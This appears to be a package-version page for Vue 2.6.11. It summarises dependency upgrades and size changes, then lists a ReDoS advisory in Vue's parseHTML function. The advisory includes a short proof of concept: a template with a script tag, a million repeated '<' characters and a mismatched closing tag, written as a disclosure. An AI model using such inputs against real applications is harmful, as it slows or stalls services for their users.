Vue 2.6.11 is a patch release following version 2.6.10, offering developers a refined and reliable reactive, component-oriented view layer for building modern web interfaces. While the core functionality remains consistent, the primary focus of the update lies in dependency upgrades and associated improvements, bug fixes, and subtle performance tweaks, creating a more robust and efficient development experience. Examining the devDependencies reveals differences, particularly in tools important for Vue development such as Typescript and associated type definitions. The update from Typescript 3.1.3 to 3.6.4, along with @types/node evolving from 10.12.18 to 12.12.0, indicates enhancements in type checking and support for newer Node.js APIs. Also of note is the serialize-javascript update 1.3.0 to 2.1.2. These dependency bumps likely address security vulnerabilities, improve build processes, and potentially unlock new features for plugin authors and core contributors. Developers upgrading should be primarily concerned with ensuring compatibility with these updated development dependencies, verifying that their tooling and build pipelines function smoothly with the new versions. It's also important to note the slight increase in unpacked size from 2,974,862 bytes to 2,982,049 bytes and file count going from 222 up to 223, suggesting that the updated version includes additional files or minor code modifications. The release date difference confirms the newer version incorporates the latest fixes and improvements, making it the recommended choice for new projects and existing applications seeking a stable and optimized Vue experience.
All the vulnerabilities related to the version 2.6.11 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.